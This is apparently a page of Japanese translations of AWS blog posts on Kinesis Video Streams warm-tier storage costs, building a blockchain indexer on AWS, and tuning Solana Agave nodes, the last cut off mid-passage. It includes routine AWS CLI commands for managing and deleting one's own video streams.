本記事は 2026年 1 月 4 日に公開された Optimize long-term video storage costs with Amazon Kinesis Video Streams warm storage tier を翻訳したものです。翻訳はソリューションアーキテクトの市川 純 が担当しました。 はじめに Amazon Kinesis Video Streams は、物理セキュリティおよび監視組織向けのクラウドベースの動画管理において、強力なソリューションを提供します。組織には継続的な録画機能が必要ですが、従来のストレージアプローチではコストが増加することがよくあります。Kinesis Video Streams は、リアルタイムの動画管理と短期保存のストレージに優れており、広範囲のカメラネットワークを持つエンタープライズデプロイメントにサービスを提供します。 革新的な Kinesis Video Streams の Warm ストレージ機能 は、これらの機能を強化し、長期的な動画保持のためのコスト効率的なソリューションを提供し、組織がストレージ戦略を最適化できるようにします。 この投稿では、新しくローンチされた Kinesis Video Streams の Warm ストレージ機能を効果的に使用することで、運用に必要なパフォーマンスとアクセシビリティを維持しながら、長期間の動画保持に対してより費用効率の高いソリューションを構築する方法を説明します。 何をローンチしたのか？ 2025 年 11 月 26 日、Amazon Kinesis Video Streams に新しいストレージ Warm 階層が追加され、メディアの長期保持に費用対効果の高いストレージを提供します。 標準の Kinesis Video Streams ストレージ（現在は Hot 階層として指定）は、リアルタイムデータアクセスと短期間ストレージに最適化されています。新しい Warm 階層により、ストレージコストを削減しながら、1 秒未満のアクセスレイテンシーで長期的なメディア保持が可能になります。 お客様のメリット Amazon Kinesis Video Streams の Hot ストレージはリアルタイムストリーミングに優れていますが、規制遵守では長期間の保持が必要となることが多く、物理セキュリティおよび企業向けビデオ監視のお客様にとってはコストが高くなることがあります。通常、ストリーミングには Kinesis Video Streams の Hot 階層を使用し、その後データを他のコスト効率の良いストレージに移動していたお客様も、低コストで Kinesis Video Streams の Warm 階層でメディアを保持できるようになりました。これによりいくつかの利点がもたらされます。(a) お客様は、データ移行を管理することなく、よりシンプルなアーキテクチャを維持でき、運用オーバーヘッドを削減し、Kinesis Video Streams エコシステム内でデータにすぐにアクセスできます。(b) より大きなデータセットが Kinesis Video Streams 内に残るため、お客様はより完全な履歴データの恩恵を受け、ストレージシステム間での断片化を減らすことができます。これにより、連続データストリームの処理が簡単になること、時間的分析の可能性が向上すること、ML/AI モデルトレーニングが合理化されることで、分析機能が強化されます。さらに、Kinesis Video Streams の Warm 階層ストレージへの取り込みは、永続化されたフラグメント数ごとに料金が設定されています。つまり、開発者はフラグメントサイズを調整することでコストを制御できます。フラグメントを大きくすると取り込みコストが削減され、フラグメントを小さくするとレイテンシーが低下します。この柔軟性により、開発者は特定のユースケースに最適化できます。 アーキテクチャ Amazon Kinesis Video Streams の 階層ストレージアーキテクチャは、リアルタイムストリーミング機能とコスト最適化された長期ストレージ間のシームレスな統合を提供します。このアーキテクチャは 2 つのコンポーネントで構成されています： IoT デバイスやカメラが KVS エンドポイントにビデオデータをストリーミングするビデオ取り込み部分と、ストレージです。ストレージ階層の選択はストリームの設定に基づいて行われ、フラグメントは Hot 階層または Warm 階層のいずれかに保存されます。 このアーキテクチャの主な利点は次のとおりです： 統一 API : 同じ Amazon Kinesis Video Streams API が両方のストレージ階層で動作します シームレスな再生 : アプリケーションはストレージ階層に関係なく動画を取得できます 動的な設定 : サービスの中断なしにストレージ階層を変更できます 自動ライフサイクル: 組み込みポリシーがデータ移行と保持を管理します コストに関する考慮事項 以下の表は、US East (N. Virginia) リージョンにおける Amazon Kinesis Video Streams の Hot 階層と Warm 階層の料金体系を示しています。Warm 階層のストレージ料金は大幅に削減される一方で、消費コストは両方の階層で一貫していることに注意してください。Warm 階層ストレージへのインジェストは、GB 単位ではなくフラグメント数に基づいて価格設定されており、長期保持シナリオにおいて予測可能なコスト管理を提供します。Warm 階層ストレージには 30 日間の最小保持期間があり、顧客がデータを早期に削除した場合でも、AWS は最低 30 日間分の料金を請求します。 表-1 料金ディメンション Kinesis Video Streams の Hot 階層 Kinesis Video Streams の Warm 階層 データ取り込み – GB あたり 0.0085 n/a データ取り込み – 永続化フラグメント 1,000 件あたり n/a 0.0100 データストレージ – GB/月あたり 0.0230 0.0125 データ消費 – GB あたり 0.0085 0.0085 データ消費 HLS – GB あたり 0.0119 0.0119 画像抽出 1080 以下 – 100 万件あたり $ 10 $ 10 画像抽出 1080 より高解像度 – 100 万件あたり $ 18 $ 18 Kinesis Video Streams は Amazon Simple Storage Service (Amazon S3) のデータストア上に構築されており、動画データが高い耐久性と可用性で保存されることを保証します。しかし、保存された動画データへのアクセス頻度は、使用ケースによって大きく異なる場合があります。例えば、セキュリティコンプライアンスの目的で CCTV の生データを 30 日間保持する必要があるシナリオを考えてみましょう。特別なイベントが発生しない場合、時間の経過とともにレビューが必要なデータの頻度やセグメントは減少します。 このような状況では、Warm 階層機能により、ストレージの同じ耐久性と可用性を維持しながら、ストレージコストを削減できます。 Amazon Kinesis Video Streams の Warm 階層は Amazon S3 Standard-Infrequent Access (S3 Standard-IA) 上に構築されており、以下の利点を提供します。 最大 67 % のコスト削減: 標準的な Amazon Kinesis Video Streams ストレージと比較して大幅なコスト削減 同等の耐久性と可用性: 99.999999999 % の耐久性と 99.9 % の可用性を保証 シームレスな統合: 既存の Amazon Kinesis Video Streams ワークフローと API との互換性をサポート 自動化されたライフサイクル管理: 設定可能なポリシーによる自動化されたデータ管理 では、Warm 階層を使用してコストを最適化する 3 つの方法を見てみましょう。 1. ストレージ期間に基づくコスト最適化 Warm 階層は、長期保存が必要なユースケースでのコスト最適化を目的として設計されています。 Warm 階層は比較的低いストレージコストを提供しますが、最小保持期間として 30 日が必要です。 そのため、短期保存のみが必要なユースケースでは、Hot 階層の方がコスト効率が良い場合があります。 実際のコスト分析例： 1 日 8 時間稼働する 1,000 台の CCTV カメラを検証してみましょう： 取り込み期間: 30 日 ビットレート : 4Mbps フラグメント期間: 2 秒 AWS リージョン : us-east-1 リージョン 保存期間に基づくコスト比較 表-2 [1] 保持期間 (日) 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 7 $ 2,233 $ 5,201 $ 3,586 $ 4,219 $ 5,818.74 $ 9,419 -62 % 15 $ 4,785 $ 5,201 $ 3,586 $ 4,219 $ 8,370.52 $ 9,419 -13 % 30 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 60 $ 19,138 $ 10,401 $ 3,586 $ 4,219 $ 22,724.25 $ 14,620 36 % 90 $ 28,707 $ 15,602 $ 3,586 $ 4,219 $ 32,293.41 $ 19,821 39 % 主要な発見： 上記で見られるように、同じフラグメント長の下では、通常 30 日から始まる長い保持期間において、Warm 階層のコスト効果がより高くなります。 2. フラグメント長に基づくコスト最適化 Warm 階層のもう 1 つの革新的な機能は、従来の Hot 階層の GB ベース課金ではなく、フラグメントベース課金です。 この課金アプローチでは、フラグメント長を調整することで取り込みコストを大幅に削減できます。 以下の表は、フラグメント長が増加した場合に、Hot 階層と比較して Warm 階層の利点がどのように増加するかを示しています。 これは 30 日間の保持期間の場合です。 表-3 [2] フラグメント長 (秒) 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot の利点 Hot Warm Hot Warm Hot Warm 2 $ 9,569 $ 5,201 $ 3,586 $ 4,219 $ 13,155.09 $ 9,419 28 % 5 $ 9,569 $ 5,201 $ 3,586 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10 $ 9,569 $ 5,201 $ 3,586 $ 843.75 $ 13,155.09 $ 6,044.38 54 % 20 $ 9,569 $ 5,201 $ 3,586 $ 421.88 $ 13,155.09 $ 5,622.50 57 % 主要な発見： 同じ保持期間の下では、フラグメント長が長いほど、Warm 階層の利点が高くなります。 以下のチャートは意思決定チャートとして活用できます。30 日間の保持期間では、フラグメント長が 1.06 秒で Warm 階層が損益分岐点となります。つまり、1.06 秒より長いフラグメント長では、Hot 階層よりも Warm 階層の方が総コストが安くなります。 60 日間の保持期間では、その損益分岐点は 0.68 秒で発生します。 3. カメラ解像度によるストレージコスト変動の理解 フラグメント数ベースモデルによる Warm 階層の料金体系は、より高いビットレートのカメラにコスト上のメリットをもたらします。5 秒のフラグメントを使用した 1,000 台のカメラの 30 日間のデプロイメントについては、以下の表の比較をご覧ください。 表-4 ビットレート 期間あたりのストレージコスト ($) 期間あたりの取り込みコスト ($) 期間あたりの Kinesis Video Streams 総コスト ($) Warm/Hot のメリット Hot Warm Hot Warm Hot Warm 1Mbps $ 2,392.29 $ 1,300.16 $ 896.48 $ 1,687.50 $ 3,288.77 $ 2,987.66 9 % 2Mbps $ 4,784.58 $ 2,600.31 $ 1,792.97 $ 1,687.50 $ 6,577.55 $ 4,287.81 35 % 4Mbps $ 9,569.16 $ 5,200.63 $ 3,585.94 $ 1,687.50 $ 13,155.09 $ 6,888.13 48 % 10Mbps $ 23,922.89 $ 13,001.57 $ 8,964.84 $ 1,687.50 $ 32,887.74 $ 14,689.07 55 % 主要な発見： より高いビットレートでより大きなコスト削減効果： 4 Mbps ストリームでは 48 % のコスト削減を達成し、1 Mbps ストリームでは 9 % の節約となります 一貫した取り込みコストの優位性： Warm 階層の取り込みコストはビットレートに関係なく 1,687.50 ドルで一定ですが、Hot 階層のコストはデータ量に比例して増加します ストレージコストのスケーリング： Warm 階層のストレージコストはビットレートに比例してスケールしますが、Hot 階層よりもはるかに低い料金です 損益分岐点分析： すべてのビットレートシナリオにおいて、長期間の保持に Warm 階層を使用することで大幅なコスト削減効果が実証されました このフラグメントベースの料金モデルにより、データ量の多い高解像度ビデオコンテンツのストレージと処理を大幅にコスト効率良く行うことができます。ビデオの品質とビットレートが高いほど、Warm 階層ストレージを利用した際のコスト上の優位性がより顕著になります。 ストレージ階層の設定 既存のストリームのストレージ期間設定は簡単に更新でき、設定は更新後に収集されたフラグメントに即座に適用されます。 以下は、Amazon Kinesis Video Streams で Warm 階層ストレージのストリームを更新または作成するための AWS CLI コマンドです。 ストレージ設定の更新: Hot 階層に既存のストリームがある場合は、次のようにストリーム設定を Warm 階層に更新できます。 STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo update-stream-storage-configuration \ --stream-name "$ STREAM_NAME" \ --current-version "$ CURRENT_VERSION" \ --stream-storage-configuration DefaultStorageTier ="WARM" \ --region $ REGION Warm 階層でのストリームの作成： 次のコマンドを使用して、新しい Warm 階層ストリームを作成できます。 aws kinesisvideo create-stream \ --stream-name $ STREAM_NAME \ --media-type "video/h264" \ --data-retention-in-hours 720 \ --stream-storage-configuration '{ "DefaultStorageTier": "WARM" }' \ --region  $ REGION 作成されたストリームのストレージ期間設定は簡単に変更でき、設定は変更後に収集されるフラグメントに即座に適用されます。 ストレージ設定の変更が適用されても、ストリームの再生は中断されません。 クリーンアップ 継続的な料金を避けるために、このウォークスルーで作成したテストストリームを必ず削除してください。ストリームを削除すると、ストレージ 階層の設定に関係なく、保存されているすべての動画データが完全に削除されることを覚えておいてください。 ストリームの削除: STREAM_INFO =$(aws kinesisvideo describe-stream \ --stream-name "$ STREAM_NAME" \ --region $ REGION) STREAM_ARN =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.StreamARN') CURRENT_VERSION =$(echo "$ STREAM_INFO" | jq -r '.StreamInfo.Version') aws kinesisvideo delete-stream \ --stream-arn "$ STREAM_ARN" \ --current-version "$ CURRENT_VERSION" \ --region $ REGION 重要な注意事項： ストリームの削除は元に戻すことができず、関連するすべての動画データが削除されます Hot と Warm 両方の 階層のデータが完全に削除されます 削除前に重要な動画データをバックアップしておくことを確認してください 削除プロセスが完了するまで数分かかる場合があります まとめ Amazon Kinesis Video Streams の 階層ストレージ機能は、動画データ管理においてコスト効率的なアプローチを提供します。 この機能により、組織は運用上の優秀性を維持しながら、ストレージコストを大幅に削減できます。これらのコストは、フラグメントの長さ、保持期間、解像度ビットレートという 3 つの変数をコントロールすることで管理できます。(a) 同じフラグメント長の条件下では、Warm 階層のコストメリットは、通常 30 日から始まる、より長い保持期間において高くなります。(b) 同じ保持期間の条件下では、Warm 階層のメリットは、より長いフラグメント長において高くなります。(c) 同じフラグメント長と保持期間の条件下では、ビットレートが増加するにつれて、Warm 階層のコストメリットが高くなります。 実装を成功させるカギは、組織固有のアクセスパターン、保持要件、コスト最適化目標を正確に理解することです。 重要でないストリームでパイロット実装から始め、結果を監視し、ビデオインフラストラクチャ全体に段階的に拡張してください。 Kinesis Video Streams 階層ストレージは、単なるコスト削減ツールではありません。 ビデオ対応 IoT アプリケーションの持続可能な成長を経済的に実現可能にする戦略的なイネーブラーです。 次のステップ Kinesis Video Streams 階層ストレージを使用して、ビデオソリューションのコストを最適化する準備はできていますか？ 以下が進むべき道筋です： Amazon Kinesis Video Streams ドキュメント Amazon Kinesis Video Streams 階層ストレージ Amazon Kinesis Video Streams 料金 GB/月あたりのコストは次のように計算されます:リージョン別ストレージコスト (GB あたり) * 総容量 (GB)/日 * カメラ数 * ストレージ期間 (日)。Warm ティアの場合、ストレージ期間が 30 日未満の場合、コストは 30 日レートで固定されます。 ↑ 月次取り込みコストは次のように計算されます: Hot ティア月次取り込みコスト: 月次取り込みコスト (GB) * ビットレート ÷ 8 (バイトに変換) × 日次収集期間 (時間) × 3600 (秒に変換) ÷ 1024 (GB に変換) × カメラ数 × ストレージ期間 (日) Warm ティア月次取り込みコスト: 月次取り込みコスト (GB) × 日次収集期間 (時間) × 3600 (秒に変換) ÷ フラグメント長 (秒) ÷ 1000 (課金単位) × カメラ数 × ストレージ期間 (日) ↑ 著者について Andre Sacaguti Andre Sacaguti は AWS のシニアプロダクトマネージャーとして、Kinesis Video Streams を担当しています。組織が動画データを実用的なインサイトに変換することを支援し、AI エージェントがストリーミング動画をよりスマートでインタラクティブにする方法を探求しています。AWS 入社前は、T-Mobile と Qualcomm で IoT 製品の開発とローンチを行い、コネクテッドデバイスをよりスマートかつ安全に機能させることに貢献しました。 Jinseon Lee Jinseon Lee は AWS APJ で IoT とロボティクスを専門とするシニア IoT GTM ソリューションアーキテクトです。テクノロジーとソフトウェア開発において 12 年以上の経験を持ち、Jinseon はクライアントが最適なクラウドアーキテクチャを設計・実装できるよう、多様な役割で支援してきました。

分散型金融 (DeFi) の取引判断には、ブロックチェーンの価格と流動性データが必要です。 しかし、ブロックチェーンノードへの直接クエリは非効率的でリソースを大量に消費するため、タイムリーな意思決定のボトルネックとなります。 ブロックチェーンは効率的なデータクエリに最適化されておらず、データは順次 (ブロックごとに) 保存されています。 特定の情報を取得するには、多くの場合、ブロックチェーン全体をスキャンする必要があります。 インデクサーは、この問題に対するソリューションを提供します。 インデクサーは新しいブロックとトランザクションを監視し、最適化されたセカンダリデータベース (リレーショナルデータベースなど) にデータを保存するように設計できます。 これらのデータベースには、アプリケーションが直接クエリできる直接アクセス用のインデックスが含まれています。 インデクサーは、ブロックチェーンへの直接クエリと比較して高速な応答時間を提供し、過去および現在のブロックチェーンデータへの効率的なアクセスにより、DeFi アプリケーションのユーザー体験を向上させます。 ブロックチェーンインデクサーは広く利用可能ですが、既存のソリューションがブロックチェーンや必要なデータをサポートしていない場合、AWS 上にカスタムインデクサーを構築する必要があります。 本記事では、ブロックチェーンのシーケンシャルなデータ構造を DeFi アプリケーション向けに効率的にクエリできる形式に変換する、ブロックチェーンインデクサーの重要な役割とアーキテクチャについて説明します。 また、AWS 上でブロックチェーンインデクサーを構築するためのアーキテクチャガイダンスを提供します。 インデックス作成モード ブロックチェーンインデクサーには 2 つの異なるモードがあり、それぞれ異なる要件が適用されます。 バックフィル – 初回起動時、インデクサーはジェネシスから現在のヘッドまでのすべての履歴ブロックを並列プロセスで処理し、取り込み速度を最大化しています。ブロックチェーンデータは不変であるため、バックフィル中にチェーンのブロック再編成を考慮する必要はありません。 フォワードフィル – このモードでは、インデクサーは新しいブロックを発見次第すぐに取り込みます。ただし、ブロック再編成によるブロックチェーン先端の変更により、以前のブロックが無効になる可能性があるため、セカンダリデータストアが実際のブロックチェーンデータと一貫性を保つためのメカニズムが必要です。 ソリューション概要 インデクサーがブロックチェーンノードから直接抽出し、変換ロジックが変更された場合、ブロックチェーン全体を再インデックス化する必要があります (これは時間がかかります)。 代わりに、1 回抽出し、必要に応じて複数回変換とロードを行う方法を提案します。 ブロックチェーンデータを保存する中間ストレージレイヤーを作成することで、変換処理はノードに繰り返しクエリを実行するのではなく、ローカルコピーに対して処理を実行できるようになります。 次の図は、インデクサーの主要なコンポーネントを示しています。 ブロックチェーンノードは Ethereum ブロックチェーンに接続されています。 バックフィル(過去データ取得)とフォワードフィル(新規データ取得)のコンポーネントは、ブロックチェーンノードからデータを取得します。 抽出後、データは中間ストレージとしての Amazon Managed Streaming for Apache Kafka (Amazon MSK) にロードされます。 データは Amazon Managed Service for Apache Flink で変換され、 Amazon Relational Database Service (Amazon RDS) のようなデータベースにロードされます。 以下のセクションでは、抽出、変換、読み込み (ETL) プロセスについて詳しく説明します。 抽出 ブロックチェーンノードは、ブロックチェーン自体へのゲートウェイです。 すべてのブロックのローカルコピーを保持し、ブロックチェーンネットワークを通じて伝播される新しいブロックを受信します。 ブロックチェーンノードは、標準化された JSON-RPC 呼び出しを使用してクエリを実行できます。 ブロックチェーンのインデックス作成には、フルノードまたはアーカイブノードのいずれかが必要です。 フルノードはすべてのトランザクションを保持しますが、過去の状態データはプルーニングされます。一方、アーカイブノードは完全な状態履歴を保持します。 提案するアーキテクチャではアーカイブノードを前提としています。これは、フルノードを使用する場合、必要なデータがすべて含まれていることを検証する必要があるためです。 バックフィル データ取り込みの最初のステップは、ブロックチェーンの開始時点 (ジェネシスブロック) からチェーンの最新ブロックまでの過去データの取り込みです。 この過去データの取り込みコンポーネントは、過去のブロックを処理し、関連データを抽出して、Apache Kafka トピックにプッシュします。 Amazon MSK は中間ストレージとして機能します。 これにより、データを保持しつつ、複数の独立したコンシューマーがデータを処理できます。 この例では、blocks、transactions、logs という 3 つの異なるトピックを使用し、それぞれのデータを保持します。 理論的には、バックフィリングコンポーネントは、インデクサーがゼロから開始する際に一度だけ実行する必要があります。 すべての履歴データを取り込んだ後は、フォワードフィリングコンポーネントのみが、Kafka トピックをブロックチェーンの最新状態と同期させるために必要となります。 しかし、バックフィリングコンポーネントを再実行する必要がある理由はさまざまです。最初の実行時に一部のデータが取りこぼされた可能性がある場合、転送先のデータスキーマの変更、または修正された ETL ロジックのバグなどが考えられます。 バックフィリングコンポーネントを再実行する可能性があるため、高速化に重点を置いています。 バックフィリングコンポーネントの一般的なアーキテクチャは、次の図のようになります。 データ抽出には、 Paradigm が開発したオープンソースの抽出エンジン cryo を使用します。 これは、並列的な RPC 呼び出しを使用してブロックチェーンノードからデータを抽出し、ローカルファイルとして保存します。その後、これらのファイルを Kafka トピックにプッシュできます。 バックフィル中、インデクサーはブロックチェーンノードにクエリを送信します。 スロットリングを回避し、クエリへの応答を確実にするために、専用ノードを使用することをお勧めします。 ネットワークレイテンシーを削減するために、このノードをインデクサーの近くに配置することをお勧めします。 サンプルアーキテクチャでは、単一の Amazon Elastic Cloud Compute (Amazon EC2) インスタンスを使用して、ノードのホストとインデックス処理ロジックの実行の両方を行っています。 フォワードフィル バックフィル後、インデクサーはフォワードフィルモードに切り替わります。 フォワードフィルは継続的かつ順次実行され、ノードを監視して新しいブロックを検出します。 このコンポーネントは 2 つの機能を実行します。1/ ブロックチェーンノードを監視し、到着した新しいブロックを取り込む、2/ ブロック再編成 (reorg) を認識し続けます。 多くのブロックビルダーが同時に新しいブロックを作成しているため、生成されたブロックが無効になる可能性があります (より長いチェーンのフォークが存在する場合)。 インデクサーは reorg を認識する必要があります。ブロック reorg が発生した場合、フォークの起点まで遡る必要があります。 ブロック reorg は次のことを検証することで検出されます。1/ 各新しいブロックに前のブロックのハッシュが含まれていること、2/ ブロック番号が順次増加していること。 いずれかの条件が満たされない場合、reorg が発生しており、インデクサーはフォーク前の最後のブロックまで巻き戻す必要があります。 ワークフローには 3 つのステップがあります (上の図に示されています)。 現在の正規チェーンの先頭 (緑) に従わない新しいブロック (紫) が出現します。 インデクサーは新しいブロックから共通の祖先 (緑) まで遡ります。 インデクサーは共通の祖先までの、以前に保存されたブロックを削除します。インデクサーは新しい正規ブランチから新しいブロックを取り込みます。 次の図は、フォワードフィリングコンポーネントのアーキテクチャを示しています。 これは、ブロックチェーンノードがチェーンの再編成を正しく処理する機能に依存しています。 これを実現するために、Reth クライアントの Execution Extensions (ExEx) 機能を使用します。 クライアントは各新しいブロック (およびreorg) を ExEx に通知し、ExEx はデータをカスタムの送信先に送信できます。 reorgを処理するために、ExEx は巻き戻しと新しくコミットされたブロックの両方を Kafka にプッシュします。 Kafka トピックはこれらのブロックを順次保存し、その後変換ロジックが実行されて最終的なデータシンクのデータを更新または削除します。 変換 Apache Flink を使用すると、Kafka トピックに対してコンシューマーを実行し、データのフィルタリングと変換を行うことができます。 Flink アプリケーションは Java で記述されており、データのフィルタリングや変換に適しています。 アドレスまたはイベントデータのデコードによって、特定のスマートコントラクトに対するフィルタリングを実行できます。 変換されたデータは、再び Kafka トピック、Amazon RDS などのデータベース、または Amazon Simple Storage Service (Amazon S3) 上のファイルとして保存できます。 コンシューマーは元のデータを変更しないことに注意することが重要です。 変換ロジックに変更が発生した場合、最初の Kafka メッセージからインデックスを再構築するためにコンシューマーを再起動するだけで済み、データソース（ノード）自体に戻る必要はありません。 データの構造によっては、複数のコンシューマーを並列で実行できる可能性があります。 ロード コンシューマーは、データをカスタムシンクにロードできます。 Uniswap の例では、データをカスタム PostgreSQL テーブルに保存します。 フロントエンドはテーブルをクエリして、適切なデータを取得できます。 ソリューション全体の最終的なアーキテクチャは、次の図に示されています。 まとめ AWS ベースのブロックチェーンインデクサーは、単方向データフローと抽出プロセスと変換プロセスの分離により、最適化されたデータアクセスを実現します。 このアーキテクチャは、バックフィルによる効率的な履歴データ処理を可能にしながら、再編成検知機能を備えたフォワードフィルによってリアルタイムデータの整合性を維持します。 このソリューションは、MSK、Managed Flink、RDS を含む AWS サービスを活用して、ブロックチェーンの順次的な構造を効率的にクエリ可能な形式に変換する、スケーラブルで信頼性の高い基盤を構築します。 このソリューションをデプロイすることで、開発者は直接ノードにクエリを実行する際のパフォーマンス制限を回避しながら、貴重なブロックチェーンインサイト（洞察）を得ることができます。 詳細情報 このソリューションをご自身でデプロイするには、 GitHub の詳細なデプロイメントガイド に従ってください。 インデクサーのデモでは、デフォルトでアーカイブノードを持つ reth 実行クライアントを使用し、カスタムシンクにデータをストリーミングする方法を提供します。このストリーミング機能はフォワードフィリングプロセスで使用されます。 このソリューションは、バックフィリングのために cryo を使用して履歴データを効率的に抽出し、カスタム reth ExEx を通じてリアルタイムデータを取得し、Flink を使用してこのデータを処理および変換し、分析のために構造化データをリレーショナルデータベースに保存します。 このソリューションは、オンチェーンデータの規模と複雑さに対応できるブロックチェーンのインデックス作成と分析のための信頼性の高い基盤を提供し、ブロックチェーンデータから価値ある洞察を得るのに役立ちます。 これを拡張するには、以下を検討してください。 異なるプロトコルやトークンのための Flink アプリケーションの追加 データ可視化ダッシュボードの実装 特定のオンチェーンイベントに対するアラートの設定 予測分析のための機械学習モデルとの統合 本記事は、2025 年 11 月 25 日に公開された Building a blockchain indexer on AWS を翻訳したものです。翻訳は Blockchain Prototyping Engineer の 深津颯騎 が担当しました。 著者について Christoph Niemann Christoph は Dune Analytics の Web3 ソリューションエンジニアであり、AWS の元シニアブロックチェーンアーキテクトです。ブロックチェーンを扱い、ブロックチェーンデータのソリューションを開発する深い経験を持っています。 Arvind Raghu Arvind は AWS の Web3 および Confidential Compute のグローバル責任者です。顧客やパートナーと緊密に連携して Web3 および Confidential Computing ソリューションを開発するアーキテクトと GTM ストラテジストのチームを率いています。 Forrest Colyer Forrest は AWS で Web3 と分散型テクノロジーを専門とするシニアスペシャリストソリューションアーキテクトです。ブロックチェーンなどのテクノロジーに依存するワークロードを構築する際に、業界を超えた顧客に対して深い技術的ガイダンスを提供し、また Web3 分野の ISV とのパートナーシップの構築にも取り組んでいます。

本記事は、2025 年 9 月 25 日に公開された Improve Solana node performance and reduce costs on AWS を翻訳したものです。翻訳は Blockchain Prototyping Engineer の 深津颯騎 が担当しました。 Solana Agave v2.0.14 は 2024 年 10 月 18 日にリリースされました。 それ以降、Solana ノードのオペレーターから、mainnet-beta の最新スロットとの同期を維持するのに苦労することがあるという報告がありました。 Solana の StackExchange で「catch up」を検索すると、この課題に関する多数の投稿が見つかります。 以前の投稿 では、AWS で Solana ノードを実行する方法を説明しました。 この投稿では、より高速な運用と初期同期のためにノードを設定する方法を解説します。 さらに、 Amazon Elastic Compute Cloud (Amazon EC2) で Solana ノードのデータ転送のコスト効率を高めるための実験的なトラフィック最適化手法を共有します。 Solana Agave v2.x における変更点 Solana Agave v2.x における最も重要な変更の 1 つは、新しい中央スケジューラです。 これは v1.18.x にも存在していましたが、デフォルトでは無効になっていました。 v2.x のアップデートにより、中央スケジューラがデフォルトで有効になりました。 Solana Agave クライアントのコアコンポーネントとして、中央スケジューラはトランザクション処理アーキテクチャを大幅に変更します。 これは、以前の 4 スレッドによる処理モデルに代わるシングルスレッドによる調整メカニズムである Scheduling Thread を導入します。 この変更について詳しくは、 Introducing the Central Scheduler: An Optional Feature of Agave v1.18 を参照してください。 この変更は、推奨される最小 CPU クロック速度に大きな影響を与え、トランザクション処理の最適なパフォーマンスのために、要件が 2.8 GHz から 3.2 GHz に増加しました。 これに基づき、 以前のブログ記事 で Solana ノードを実行するための推奨 AWS インスタンスタイプを更新し、 R7a および I7ie EC2 インスタンスファミリーに切り替えました。 これらのインスタンスファミリーは、さまざまな構成で Solana ノードを実行するために必要な 384 GiB から 1.5 TiB 超の RAM も提供します。 Agave v2.2.15 では、処理ロジックの「ホットパス（頻繁に実行される処理経路）」からブロックストレージ操作を削除することに焦点を当てた、その他の重要なパフォーマンス最適化が導入されました。 これにより、ブロックストレージデバイスに必要な 1 秒あたりの入出力操作数 (IOPS) とレイテンシーが削減され、クラウド上で Agave クライアントを実行するコストがさらに削減されました。 アジア太平洋 AWS リージョンにおける Solana の同期における課題の克服 Solana Agave ノードが起動時に事前ダウンロードされたスナップショットを持っていない場合、クライアントは信頼できるバリデーターノードからそのスナップショットをダウンロードします。 これらのノードは --known-validator フラグで設定され、 Anza RPC ノード起動コマンドの例 に示されています。 しかし、これらの信頼できるバリデーターは、北米またはヨーロッパの AWS リージョンに配置されていることが多く、東京、香港、ソウル、シンガポールなどのアジア太平洋リージョンで実行されているクライアントにとって問題となります。 これらの場所でのスナップショットのダウンロード速度は、通常、北米またはヨーロッパリージョンのクライアントと比較して遅くなります。 スナップショットをダウンロードした後、Agave はスナップショットのスロットが最新より 2,500 スロット以上遅れているかどうかをチェックします。 この差が 2,500 より大きい場合、クライアントはスナップショットを再ダウンロードし、同期プロセスがさらに遅延します。 この問題は GitHub issue #24486 に記録されています。 デフォルトでは、 maximum_local_snapshot_age パラメータは 2,500 に設定されています 。 スナップショットの再ダウンロードを避けるためにこの値を増やすことはできますが、この方法は推奨しません。 Solana は 400 ミリ秒ごとに新しいスロットを生成する (1 分あたり約 150 スロット) ため、この値を高く設定しすぎると、ノードが最新のスロットに追いつかなくなる可能性があります。 アジアパシフィックリージョンで Solana ノードを実行する際のスナップショットダウンロードパフォーマンスを向上させるには、以下を推奨します。 信頼できるノードを特定する: validator.app を使用して、アジア太平洋地域のあなたの場所に近い 信頼できるノードの識別子 を見つけます。 これらの識別子を agave-validator 起動コマンドの --known-validator フラグのパラメータとして設定します。 警告 マークが付いているバリデーターノードの使用は避けてください。 スナップショットソースを制限する: --only-known-rpc フラグを使用して、信頼できるノードからのみスナップショットをダウンロードするようにクライアントを設定します。 最小ダウンロード速度を設定する: --minimal-snapshot-download-speed フラグを使用して、必要な最小スナップショットダウンロード速度を定義し、低速なソースからのダウンロードを防ぎます。テストでは、104,857,600 (100 MiBps) を使用しました。 これらの最適化を実装することで、初期同期を高速化し、アジア太平洋リージョンにおける Solana ノードのデプロイをより高速で信頼性の高いものにすることができます。 Agave RPC ノードのデータ転送コストの最適化 Solana Agave クライアントは、 Turbine と呼ばれるデータ伝播プロトコル により、大量のアウトバウンドデータトラフィックを生成します。 近年、月間トラフィック量は増加しており、 RPC のみとして構成されたノード であっても、現在は 100 TiB から 200 TiB 以上の範囲になっています。 これらのコストをより効果的に管理するために、Solana ノードの同期を維持するために最小限必要なアウトバウンドデータスループットを決定するための一連の実験を実施しました。 まず、ノードの「Slots Behind」メトリクスを 1 分ごとにチェックし、初期同期が完了した後に実行するスクリプトを作成しました。 1 分間隔は、Solana ノードが正常に同期しているか、遅れ始めているかを確実に検出できるのに通常十分です。 「Slots Behind」メトリクスがゼロに達し、ノードが完全に同期されたことを示すと、別のスクリプトがユーザー定義の帯域幅制限を MiBps 単位で適用します。 「Slots Behind」メトリクスが 10 を超えると、ノードが追いつくまで制限が一時的に解除されます。 運用効率を維持するために、システムはこれらの制限から内部ネットワークトラフィックを除外します。 標準的な内部 IP 範囲 (10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16) 内のトラフィックは制限の対象外とし、内部 IP を使用する AWS アプリケーションが正常に機能することを確保します。 この機能は RPC ノードに対して非常に効果的ですが、コンセンサスノードには実装すべきではありません。 コンセンサスノードでアウトバウンドトラフィックを制限すると、パフォーマンスが低下するため、最適なネットワーク参加のためには推奨されません。 このトラフィック最適化手法をテストするために、 eu-central-1 リージョンで 5 台の i7ie.12xlarge EC2 インスタンスを使用して 5 日間の比較テストを実施しました。 4 つのノードにトラフィックシェーピングスクリプトを設定し、1 つのコントロールノードには制限を設けず、「Current Slots」と「Slots 